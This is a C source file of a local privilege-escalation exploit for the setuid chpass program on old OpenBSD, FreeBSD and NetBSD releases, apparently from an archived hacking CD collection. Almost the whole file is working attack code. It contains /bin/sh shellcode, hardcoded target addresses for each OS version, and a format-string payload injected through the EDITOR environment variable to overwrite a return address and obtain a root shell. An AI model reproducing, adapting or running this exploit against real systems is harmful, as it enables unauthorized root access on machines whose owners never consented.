home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / bsd_chpass.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  3KB  |  126 lines

  1. <html>/*
  2.  * TESO BSD chpass exploit - caddis <caddis@dissension.net>
  3.  *
  4.  * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
  5.  *
  6.  */
  7. #include <stdio.h>
  8.  
  9. char bsd_shellcode[] =
  10. "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
  11. "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
  12. "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
  13. "\xe8\xe5\xff\xff\xff/bin/sh";
  14.  
  15. char ptmp_shellcode[] = 
  16. "\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
  17. "\x89\x76\x12\x89\x5e\x16\x8d\x4e"
  18. "\x12\x8d\x56\x08\x31\xc0\x52\x53"
  19. "\xb0\x0a\xcd\x80\x53\x51\x56\x53"
  20. "\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
  21. "\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
  22.  
  23. struct platform {
  24.     char *name;
  25.     unsigned short count;
  26.     unsigned long dest_addr;
  27.     unsigned long shell_addr;
  28.     char *shellcode;
  29. };
  30.  
  31. struct platform targets[9] = 
  32. {
  33.     { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
  34.  
  35.     { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
  36.  
  37.     { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
  38.     { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
  39.  
  40.     { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
  41.  
  42.     { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
  43.  
  44.     { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
  45.  
  46.     { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
  47.     { NULL, 0, 0, 0, NULL }
  48. };
  49.  
  50. char jmpcode[129];
  51. char fmt_string[1000];
  52.  
  53. char *args[] = { "chpass", NULL };
  54. char *envs[] = { jmpcode, fmt_string, NULL };
  55.  
  56. void usage(char *name)
  57. {
  58.     printf("%s <TARGET>\n"
  59.            "1 - OpenBSD 2.7 i386\n"
  60.            "2 - OpenBSD 2.6 i386\n"
  61.            "3 - OpenBSD 2.5 1999/08/06\n"
  62.            "4 - OpenBSD 2.5 1998/05/28\n"
  63.            "5 - FreeBSD 4.0-RELEASE\n"
  64.            "6 - FreeBSD 3.5-RELEASE\n"
  65.            "7 - FreeBSD 3.4-RELEASE\n"
  66.            "8 - NetBSD 1.4.2\n", name);
  67.     exit(1);
  68. }
  69.  
  70. int main(int argc, char *argv[])
  71. {
  72.     char *p;
  73.     int x, len = 0;
  74.     struct platform *target;
  75.     unsigned short low, high;
  76.     unsigned long shell_addr[2], dest_addr[2];
  77.  
  78.     if (argc != 2)
  79.         usage(argv[0]);
  80.  
  81.     x = atoi(argv[1]) - 1;
  82.     if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform
  83. )) - 1 || x < 0)
  84.         usage(argv[0]);
  85.  
  86.     target = &targets[x];
  87.  
  88.     memset(jmpcode, 0x90, sizeof(jmpcode));
  89.     strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shell
  90. code);
  91.  
  92.     strcat(fmt_string, "EDITOR=");
  93.     for (x = 0; x < target->count; x++) {
  94.         strcat(fmt_string, "%8x");
  95.         len += 8;
  96.     }
  97.  
  98.     shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
  99.     shell_addr[1] =  target->shell_addr & 0xffff;
  100.  
  101.     if (shell_addr[1] > shell_addr[0]) {
  102.         dest_addr[0] = target->dest_addr+2;
  103.         dest_addr[1] = target->dest_addr;
  104.         low  = shell_addr[0] - len;
  105.         high = shell_addr[1] - low - len;
  106.     } else {
  107.         dest_addr[0] = target->dest_addr;
  108.         dest_addr[1] = target->dest_addr+2;
  109.         low  = shell_addr[1] - len;
  110.         high = shell_addr[0] - low - len;
  111.     }
  112.  
  113.     /* allign on 4byte boundry relative to ebp */
  114.     *(long *)&jmpcode[1]  = 0x11111111;
  115.     *(long *)&jmpcode[5]  = dest_addr[0];
  116.     *(long *)&jmpcode[9]  = 0x11111111;
  117.     *(long *)&jmpcode[13] = dest_addr[1];
  118.  
  119.     p = fmt_string + strlen(fmt_string);
  120.     sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
  121.  
  122.     execve("/usr/bin/chpass", args, envs);
  123.     perror("execve");
  124. }
  125.  
  126.